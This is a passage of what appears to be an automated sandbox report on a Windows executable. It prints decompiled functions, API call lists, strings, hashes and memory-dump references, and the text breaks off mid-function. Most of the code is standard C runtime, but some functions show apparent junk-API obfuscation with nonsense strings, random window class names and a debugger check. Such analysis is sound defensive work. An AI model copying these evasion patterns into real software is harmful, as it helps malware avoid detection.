0x00428afb
0x00428b13
0x00428b25
0x00428b34
0x00428b3b
0x00428b49
0x00428b56
0x00428b5c
0x00428b64
0x00428b72
0x00428b75
0x00428b7c
0x00000000
0x00000000
0x00428b81
0x00428b9a
0x00428b6f
0x00428b6f
0x00428b46
0x00000000
0x00428b46
0x00000000
0x00428b5c
0x00428b22
0x00428b22
0x00428bac
0x00428bb2
0x00428bbc
0x00428bcb
0x00428bce
0x00428be0
0x00428bf5
0x00428bfd
0x00428bda
0x00428bdd
0x00428bdd
0x00428c08
0x00428c10
0x00428c10
0x00000000
0x00428ae6
0x00428c20
0x00428c43
0x00428c43
0x00428c34
0x00428c34
0x00428c39
0x00428c41
0x00428c4f
0x00428c53
0x00428c5b
0x00428da1
0x00428db3
0x00428da3
0x00428da7
0x00428daf
0x00428daf
0x00428c61
0x00428c61
0x00428c73
0x00428c82
0x00428c70
0x00428c70
0x00428c8e
0x00428c94
0x00428c9f
0x00428d5c
0x00428ca5
0x00428ca8
0x00428cb6
0x00428cd1
0x00428cdf
0x00428cfe
0x00428cdc
0x00428cdc
0x00428cb3
0x00428cb3
0x00428d05
0x00428d17
0x00428d33
0x00428d14
0x00428d14
0x00428d3b
0x00428d3f
0x00428d44
0x00428d4a
0x00428d50
0x00428d50
0x00428d63
0x00428d75
0x00428d83
0x00428d72
0x00428d72
0x00428d8a
0x00428d8e
0x00428d96
0x00428d96
0x00000000
0x00000000
0x00000000
0x00428c41
0x00428aa8
0x00428aac
0x00428ab4
0x00428ab4
0x00428db7
0x00428dc4

APIs

getSystemCP.LIBCMTD ref: 00428A97

Part of subcall function 00428970: GetOEMCP.KERNEL32(00000000,E097147A,0043D898,000000FF,?,00428728,?), ref: 004289CB
Part of subcall function 00428970: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004289DE

setSBCS.LIBCMTD ref: 00428AAC
setSBUpLow.LIBCMTD ref: 00428C08

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$SystemUpdateUpdate::~_
String ID:
API String ID: 2101441384-0
Opcode ID: 71c6edb7b7dbdc6fcd40482adbb47a44a7e9b81184d16e4295222005f5b9eb3e
Instruction ID: 748b2d056386fadf5520d98e7413638778817c004681c7aac730a4b66eb53725
Opcode Fuzzy Hash: 71c6edb7b7dbdc6fcd40482adbb47a44a7e9b81184d16e4295222005f5b9eb3e
Instruction Fuzzy Hash: 47B17B74A06129DFCB04CF54E480AAEBBB1FF84304F64C55EE8166B381CB78EA45DB59

Uniqueness

Uniqueness Score: -1.00%

Function 005B0420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 005B0533

Strings

d, xrefs: 005B0584
0, xrefs: 005B0492
mfoaskdfnoa, xrefs: 005B0520, 005B0523
saodkfnosa9uin, xrefs: 005B04DA

Memory Dump Source

Source File: 00000016.00000002.403541259.00000000005B0000.00000040.00000001.sdmp, Offset: 005B0000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 224e9303cb69c05f57ca84e5f300693eca1af0a2f7a9c7919325ee5d01afa30c
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 3F511A70D08388DAEB11CBD8C849BDEBFB66F11708F144058D5447F2C6C3BA6658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 005B05B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 005B05EC

Strings

apfHQ, xrefs: 005B05E2, 005B05E5
o, xrefs: 005B0600

Memory Dump Source

Source File: 00000016.00000002.403541259.00000000005B0000.00000040.00000001.sdmp, Offset: 005B0000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 3c30ba61ca354fc8dac7d4d7c39934c657b359c2471ef3d3ee285952a5f8b434
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: B6011E70C0424CEADF10DF98C5187EEBFB5AF41308F148099C4092B282D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00429920, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,00423C4B,?,?,00429A90), ref: 00429927

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: bb136fd040217f8798add158b9755d8db9bff0022e5fd5ea5e9cccf720db289d
Instruction ID: d6dc1332508921867b698eb3db106d6ee4396bde797856995e144efd0eebbed2
Opcode Fuzzy Hash: bb136fd040217f8798add158b9755d8db9bff0022e5fd5ea5e9cccf720db289d
Instruction Fuzzy Hash: 7AA0123104424863C10022826909B413A0CC3C0722F000050F21C51051096154004055

Uniqueness

Uniqueness Score: -1.00%

Function 00423DB0, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;

				E0042C6F0(); // executed
				return L00423DD0(_t3);
			}

0x00423db5
0x00423dc0

APIs

___security_init_cookie.LIBCMTD ref: 00423DB5

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 24bc06dd6f8e756449fb71d37d1b4406b7b4604180a7d70f7a7b007183019b3b
Instruction ID: 9b4a21d36a4bf8b1da826f16f895972e3eae37b70c8849a0ab5fa6e128a221db
Opcode Fuzzy Hash: 24bc06dd6f8e756449fb71d37d1b4406b7b4604180a7d70f7a7b007183019b3b
Instruction Fuzzy Hash: EAA0021231466C1601603BA7244791E755D48D0719FD5101A7519521031C9CB94144EE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041AA72, Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 110
timefilesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E0041AA72(union _FINDEX_INFO_LEVELS _a4) {
				void* _v8;
				void* _v22;
				char _v24;
				void* _v38;
				char _v40;
				void* _v56;
				struct _COMMTIMEOUTS _v60;
				struct _DCB _v88;
				struct _OSVERSIONINFOEXA _v244;
				char _v416;
				struct _OSVERSIONINFOEXW _v700;
				char _v1724;
				void _v2748;
				union _FINDEX_INFO_LEVELS _t29;
				void* _t57;

				if( *0x4c4ea4 == 0x37) {
					_v60.ReadIntervalTimeout = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					BuildCommDCBAndTimeoutsA("wexeta",  &_v88,  &_v60);
					GetNamedPipeHandleStateA(0, 0, 0, 0, 0, 0, 0);
					ReleaseMutex(0);
					AddAtomA("Hodohobo jogitav vehovip");
					_v40 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					_v24 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					__imp__TzSpecificLocalTimeToSystemTime( &_v416,  &_v40,  &_v24, _t57);
					SetConsoleCursorInfo(0, 0);
					VerifyVersionInfoW( &_v700, 0, 0);
					TlsGetValue(0);
					CopyFileA(0, 0, 0);
					__imp__GetLongPathNameA("hirevocerukudewikefixezilocicepa",  &_v1724, 0, 0);
					__imp__SetVolumeMountPointW(0, 0);
					GetProcessPriorityBoost(0, 0);
					FreeEnvironmentStringsA(0);
					_push(0);
					VerifyVersionInfoA( &_v244, 0, 0);
					FindFirstFileExA("tanugiwecevewupenunikuxagigixizezej", _a4,  &_v2748, _a4, 0, 0);
				}
				_v8 = 0;
				_v8 = _v8 +  *0x4c4ea8;
				_v8 = _v8 + 0x12336;
				_t29 = _a4;
				 *((char*)( *0x4c14a4 + _t29)) =  *((intOrPtr*)(_v8 + _t29));
				return _t29;
			}

0x0041aa85
0x0041aa8e
0x0041aa94
0x0041aa95
0x0041aa96
0x0041aa97
0x0041aaa5
0x0041aab2
0x0041aab9
0x0041aac4
0x0041aacc
0x0041aad3
0x0041aad4
0x0041aad5
0x0041aad6
0x0041aada
0x0041aae1
0x0041aae2
0x0041aae3
0x0041aae4
0x0041aaf5
0x0041aafd
0x0041ab0d
0x0041ab14
0x0041ab1d
0x0041ab30
0x0041ab38
0x0041ab40
0x0041ab47
0x0041ab4d
0x0041ab57
0x0041ab71
0x0041ab77
0x0041ab78
0x0041ab80
0x0041ab88
0x0041ab8b
0x0041ab9a
0x0041ab9f

APIs

BuildCommDCBAndTimeoutsA.KERNEL32 ref: 0041AAA5
GetNamedPipeHandleStateA.KERNEL32 ref: 0041AAB2
ReleaseMutex.KERNEL32(00000000), ref: 0041AAB9
AddAtomA.KERNEL32 ref: 0041AAC4
TzSpecificLocalTimeToSystemTime.KERNEL32(?,?,?), ref: 0041AAF5
SetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 0041AAFD
VerifyVersionInfoW.KERNEL32(?,00000000,00000000,00000000), ref: 0041AB0D
TlsGetValue.KERNEL32(00000000), ref: 0041AB14
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 0041AB1D
GetLongPathNameA.KERNEL32 ref: 0041AB30
SetVolumeMountPointW.KERNEL32(00000000,00000000), ref: 0041AB38
GetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 0041AB40
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041AB47
VerifyVersionInfoA.KERNEL32(?,00000000,00000000,00000000), ref: 0041AB57
FindFirstFileExA.KERNEL32(tanugiwecevewupenunikuxagigixizezej,?,?,?,00000000,00000000), ref: 0041AB71

Strings

Hodohobo jogitav vehovip, xrefs: 0041AABF
tanugiwecevewupenunikuxagigixizezej, xrefs: 0041AB6C
hirevocerukudewikefixezilocicepa, xrefs: 0041AB2B
wexeta, xrefs: 0041AAA0

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Info$FileTimeVerifyVersion$AtomBoostBuildCommConsoleCopyCursorEnvironmentFindFirstFreeHandleLocalLongMountMutexNameNamedPathPipePointPriorityProcessReleaseSpecificStateStringsSystemTimeoutsValueVolume
String ID: Hodohobo jogitav vehovip$hirevocerukudewikefixezilocicepa$tanugiwecevewupenunikuxagigixizezej$wexeta
API String ID: 426047872-2698696957
Opcode ID: a11e9385ec0219a208d3896f7c4e8fedb776c7de2b8e1bd5b41eb08a2c85e8c1
Instruction ID: 201ef5339f3eca297c86bfdf7b66a7eab477b32249e0de4b244f4758636c4f5a
Opcode Fuzzy Hash: a11e9385ec0219a208d3896f7c4e8fedb776c7de2b8e1bd5b41eb08a2c85e8c1
Instruction Fuzzy Hash: 2A313C72802668BFD7519BE4DE48DDFBBBCEF4A350B000062F645E2430D7345A85CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00424E60, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00424E60(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x447b80; // 0xe097147a
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x4c5b80 = _t6;
				 *0x4c5b7c = _t20;
				 *0x4c5b78 = _t22;
				 *0x4c5b74 = _t19;
				 *0x4c5b70 = _t25;
				 *0x4c5b6c = _t24;
				 *0x4c5b98 = ss;
				 *0x4c5b8c = cs;
				 *0x4c5b68 = ds;
				 *0x4c5b64 = es;
				 *0x4c5b60 = fs;
				 *0x4c5b5c = gs;
				asm("pushfd");
				_pop( *0x4c5b90);
				 *0x4c5b84 =  *_t29;
				 *0x4c5b88 = _v0;
				 *0x4c5b94 =  &_a4;
				 *0x4c5ad0 = 0x10001;
				_t11 =  *0x4c5b88; // 0x0
				 *0x4c5a84 = _t11;
				 *0x4c5a78 = 0xc0000409;
				 *0x4c5a7c = 1;
				_t21 =  *0x447b80; // 0xe097147a
				_v812 = _t21;
				_t23 =  *0x447b84; // 0x1f68eb85
				_v808 = _t23;
				 *0x4c5ac8 = IsDebuggerPresent();
				_push(1);
				E00428090(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter("xZL");
				if( *0x4c5ac8 == 0) {
					_push(1);
					E00428090(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00424e60
0x00424e60
0x00424e60
0x00424e60
0x00424e60
0x00424e60
0x00424e60
0x00424e66
0x00424e68
0x00424e68
0x0042d69b
0x0042d6a0
0x0042d6a6
0x0042d6ac
0x0042d6b2
0x0042d6b8
0x0042d6be
0x0042d6c5
0x0042d6cc
0x0042d6d3
0x0042d6da
0x0042d6e1
0x0042d6e8
0x0042d6e9
0x0042d6f2
0x0042d6fa
0x0042d702
0x0042d70d
0x0042d717
0x0042d71c
0x0042d721
0x0042d72b
0x0042d735
0x0042d73b
0x0042d741
0x0042d747
0x0042d753
0x0042d758
0x0042d75a
0x0042d764
0x0042d76f
0x0042d77c
0x0042d77e
0x0042d780
0x0042d785
0x0042d79d

APIs

IsDebuggerPresent.KERNEL32 ref: 0042D74D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042D764
UnhandledExceptionFilter.KERNEL32(xZL), ref: 0042D76F
GetCurrentProcess.KERNEL32(C0000409), ref: 0042D78D
TerminateProcess.KERNEL32(00000000), ref: 0042D794

Strings

xZL, xrefs: 0042D76A

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: xZL
API String ID: 2579439406-2594003103
Opcode ID: 5f54561d1a19773134987b0f7fddf3e8af804ec8e6d9965b2a1cd027adb8f6a8
Instruction ID: 3b908a521aea7bd2461095ef4f06f1d6779a4d9b5966617b3dba63cda736b2dc
Opcode Fuzzy Hash: 5f54561d1a19773134987b0f7fddf3e8af804ec8e6d9965b2a1cd027adb8f6a8
Instruction Fuzzy Hash: 8821FCB8900B048FD3809F65FD84A487BB0BB58314F50017AE808973A0E77538C08B4D

Uniqueness

Uniqueness Score: -1.00%

Function 0041A9D8, Relevance: 10.6, APIs: 7, Instructions: 54
threadCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0041A9D8(intOrPtr _a4, unsigned int _a8, intOrPtr _a12) {
				struct _OSVERSIONINFOA _v152;
				struct _OSVERSIONINFOEXW _v436;
				char _v1460;
				unsigned int _t8;
				void* _t9;
				unsigned int _t20;
				intOrPtr _t23;

				if( *0x4c4ea4 == 0x516) {
					VerLanguageNameA(0,  &_v1460, 0);
				}
				_t8 = _a8 >> 3;
				if(_t8 > 0) {
					_t23 = _a4;
					_t20 = _t8;
					do {
						if( *0x4c4ea4 == 0x29) {
							__imp__GetConsoleAliasesLengthA(0);
						}
						if( *0x4c4ea4 == 0x1c) {
							SetConsoleCP(0);
							_push(0);
							VerifyVersionInfoW( &_v436, 0, 0);
							GetVersionExA( &_v152);
							GetExitCodeProcess(0, 0);
							TerminateThread(0, 0);
						}
						_t9 = L0041A8AF(_t23, _a12);
						_t23 = _t23 + 8;
						_t20 = _t20 - 1;
					} while (_t20 != 0);
					return _t9;
				}
				return _t8;
			}

0x0041a9ee
0x0041a9f9
0x0041a9f9
0x0041aa01
0x0041aa06
0x0041aa0a
0x0041aa0d
0x0041aa0f
0x0041aa16
0x0041aa19
0x0041aa19
0x0041aa26
0x0041aa29
0x0041aa2f
0x0041aa39
0x0041aa46
0x0041aa4e
0x0041aa56
0x0041aa56
0x0041aa60
0x0041aa65
0x0041aa68
0x0041aa68
0x00000000
0x0041aa6c
0x0041aa6f

APIs

VerLanguageNameA.KERNEL32(00000000,?,00000000), ref: 0041A9F9
GetConsoleAliasesLengthA.KERNEL32(00000000), ref: 0041AA19
SetConsoleCP.KERNEL32(00000000), ref: 0041AA29
VerifyVersionInfoW.KERNEL32(?,00000000,00000000,00000000), ref: 0041AA39
GetVersionExA.KERNEL32(?), ref: 0041AA46
GetExitCodeProcess.KERNEL32 ref: 0041AA4E
TerminateThread.KERNEL32(00000000,00000000), ref: 0041AA56

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleVersion$AliasesCodeExitInfoLanguageLengthNameProcessTerminateThreadVerify
String ID:
API String ID: 2537961244-0
Opcode ID: c936a7aa1fce03e33674f92caf0ee451c28542fa9acc2dcf04f07dfc741ff92e
Instruction ID: d3d68347565319b13227a598b622a8e7f52a59229991665f197909eb26e422dc
Opcode Fuzzy Hash: c936a7aa1fce03e33674f92caf0ee451c28542fa9acc2dcf04f07dfc741ff92e
Instruction Fuzzy Hash: 5E018072402568ABCB21AF61AE48DDF7B6CFF8A355F000026F545A2160D3385AC6CBB9

Uniqueness

Uniqueness Score: -1.00%

Function 00422EB0, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00422EB0(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, char _a8) {
				signed int _v8;
				signed int _v12;
				char _v64;
				char _v84;
				char _v100;
				signed int _v101;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				signed int _v120;
				signed int _t50;
				intOrPtr _t62;
				void* _t69;
				intOrPtr _t77;
				void* _t78;
				void* _t107;
				void* _t108;
				signed int _t109;
				void* _t110;
				void* _t112;

				_t108 = __esi;
				_t107 = __edi;
				_t78 = __ebx;
				_t50 =  *0x447b80; // 0xe097147a
				_v12 = _t50 ^ _t109;
				L00422A80( &_v100, _a4);
				_v8 = 0;
				while(1) {
					_t7 =  &_a8; // 0x422e54
					if( *((intOrPtr*)( *_t7 + 0x10)) >= 0x10) {
						_v112 = 0x10;
					} else {
						_t9 =  &_a8; // 0x422e54
						_v112 =  *((intOrPtr*)( *_t9 + 0x10));
					}
					if(_v8 >= _v112) {
						break;
					}
					_t15 =  &_a8; // 0x422e54
					_v101 =  *((intOrPtr*)( *_t15 + _v8 + 0x20));
					if(E00422B90( &_v100) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E00422B90( &_v100))) + 0xac)) <= 1) {
						_t62 = E0042A0D0(E00422B90( &_v100), _v101 & 0x000000ff, 0x157);
						_t112 = _t110 + 0xc;
						_v116 = _t62;
					} else {
						_t77 = E0042A180(_v101 & 0x000000ff, 0x157, E00422B90( &_v100));
						_t112 = _t110 + 0xc;
						_v116 = _t77;
					}
					if(_v116 == 0) {
						_v120 = 0x20;
					} else {
						_v120 = _v101 & 0x000000ff;
					}
					 *((char*)(_t109 + _v8 - 0x50)) = _v120;
					_v108 =  *((intOrPtr*)(L004279F0(_v120)));
					 *((intOrPtr*)(L004279F0(_v120))) = 0;
					_t91 = _t109 + _v8 * 3 - 0x3c;
					_t69 = E0042A020(_t109 + _v8 * 3 - 0x3c, _t109 + _v8 * 3 - 0x3c, 0x31 - _v8 * 3, "%.2X ", _v101 & 0x000000ff);
					_t110 = _t112 + 0x10;
					if(_t69 < 0) {
						E00423050( *((intOrPtr*)(L004279F0(_t91))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x91c, 0);
						_t110 = _t110 + 0x20;
					}
					 *((intOrPtr*)(L004279F0(_t91))) = _v108;
					_v8 = _v8 + 1;
				}
				_t100 = _v8;
				 *((char*)(_t109 + _v8 - 0x50)) = 0;
				_push( &_v64);
				if(L00427C10(0, 0, 0, 0, " Data: <%s> %s\n",  &_v84) == 1) {
					asm("int3");
				}
				return E00424E60(E00422B60( &_v100), _t78, _v12 ^ _t109, _t100, _t107, _t108);
			}

0x00422eb0
0x00422eb0
0x00422eb0
0x00422eb8
0x00422ebf
0x00422ec9
0x00422ece
0x00422ee0
0x00422ee0
0x00422ee7
0x00422ef4
0x00422ee9
0x00422ee9
0x00422eef
0x00422eef
0x00422f01
0x00000000
0x00000000
0x00422f07
0x00422f10
0x00422f1d
0x00422f65
0x00422f6a
0x00422f6d
0x00422f32
0x00422f45
0x00422f4a
0x00422f4d
0x00422f4d
0x00422f74
0x00422f7f
0x00422f76
0x00422f7a
0x00422f7a
0x00422f8c
0x00422f97
0x00422f9f
0x00422fc3
0x00422fc8
0x00422fcd
0x00422fd2
0x00422ff6
0x00422ffb
0x00422ffb
0x00423006
0x00422edd
0x00422edd
0x0042300d
0x00423010
0x00423018
0x00423035
0x00423037
0x00423037
0x0042304d

APIs

__isctype_l.LIBCMTD ref: 00422F45
__chvalidator_l.LIBCMTD ref: 00422F65

Part of subcall function 0042A0D0: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042A13F

_swprintf_s.LIBCMTD ref: 00422FC8
__invoke_watson_if_oneof.LIBCMTD ref: 00422FF6
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042303B

Strings

_printMemBlockData, xrefs: 00422FE0
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00422FDB
%.2X , xrefs: 00422FAA
T.B, xrefs: 00422EE0, 00422F07, 00422EE9
, xrefs: 00422F7F
Data: <%s> %s, xrefs: 0042301D
(*_errno()), xrefs: 00422FE5

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$UpdateUpdate::~_$__chvalidator_l__invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: $ Data: <%s> %s$%.2X $(*_errno())$T.B$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2593626323-497516267
Opcode ID: b9eca4081e30fb75b81afdfb5b0b5cd1a1696aac61e384271642e6e8be7769bd
Instruction ID: fab5e533b8d918e9121109e9b8c007d35fe4ece89f620fb94ad55a4ff667cd66
Opcode Fuzzy Hash: b9eca4081e30fb75b81afdfb5b0b5cd1a1696aac61e384271642e6e8be7769bd
Instruction Fuzzy Hash: 4E410470B04368ABDB04DFA5DE46BAEBB75BF50304F60016AE4056F2C2D7B89A04DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00426450, Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00426450(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _t24;
				void* _t27;
				void* _t32;

				_v12 = L00429D20(_t27);
				if(_v12 != 0) {
					if( *((intOrPtr*)(_v12 + 0x24)) != 0) {
						L5:
						_v8 =  *((intOrPtr*)(_v12 + 0x24));
						E004255F0(E00426E40( *((intOrPtr*)(_v12 + 0x24)), _v8, 0x86, E00426500( *((intOrPtr*)(_v12 + 0x24)), _a4)), _t21, L"strcpy_s(errmsg, (94+38+2), _get_sys_err_msg(errnum))", L"strerror", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\strerror.c", 0x53, 0);
						return _v8;
					}
					_t24 = L00421380(0x86, 1, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\strerror.c", 0x4a);
					_t32 = _t32 + 0x14;
					_v16 = _t24;
					 *((intOrPtr*)(_v12 + 0x24)) = _v16;
					if(_v16 != 0) {
						goto L5;
					}
					return "Visual C++ CRT: Not enough memory to complete call to strerror.";
				}
				return "Visual C++ CRT: Not enough memory to complete call to strerror.";
			}

0x0042645d
0x00426464
0x00426477
0x004264ac
0x004264b2
0x004264e7
0x00000000
0x004264ef
0x00426489
0x0042648e
0x00426491
0x0042649a
0x004264a1
0x00000000
0x00000000
0x00000000
0x004264a3
0x00000000

Strings

strerror, xrefs: 004264BE
Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 00426466, 004264A3
f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c, xrefs: 0042647B
strcpy_s(errmsg, (94+38+2), _get_sys_err_msg(errnum)), xrefs: 004264C3
f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c, xrefs: 004264B9

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.$f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c$f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c$strcpy_s(errmsg, (94+38+2), _get_sys_err_msg(errnum))$strerror
API String ID: 0-3761290748
Opcode ID: e96130c8846a0781df89daf5010f2f2d0c59a9ec12bd6a5ed0f9413dc9002186
Instruction ID: 43f11fe602b949f065902dba7a712a2805535a08a364f853f3e8c8affef2f2c1
Opcode Fuzzy Hash: e96130c8846a0781df89daf5010f2f2d0c59a9ec12bd6a5ed0f9413dc9002186
Instruction Fuzzy Hash: 87118AB4F40314BBDB00EB94E942F5E7774AB54704F51416AB944773C2D6799E408B4D

Uniqueness

Uniqueness Score: -1.00%

Function 0041D34A, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E0041D34A(void* __ecx, signed int _a4, char* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v24;
				signed int _t19;
				char* _t20;
				signed char _t29;
				intOrPtr _t30;

				_t19 = _a4 & 0x00000017;
				 *(__ecx + 0xc) = _t19;
				_t29 =  *(__ecx + 0x10) & _t19;
				if(_t29 == 0) {
					return _t19;
				}
				_t20 = 0;
				if(_a8 == 0) {
					L4:
					if((_t29 & 0x00000004) == 0) {
						if((_t29 & 0x00000002) == 0) {
							_t30 = E0041EF10();
							_a8 = "ios_base::eofbit set";
						} else {
							_t30 = E0041EF10();
							_a8 = "ios_base::failbit set";
						}
					} else {
						_t30 = E0041EF10();
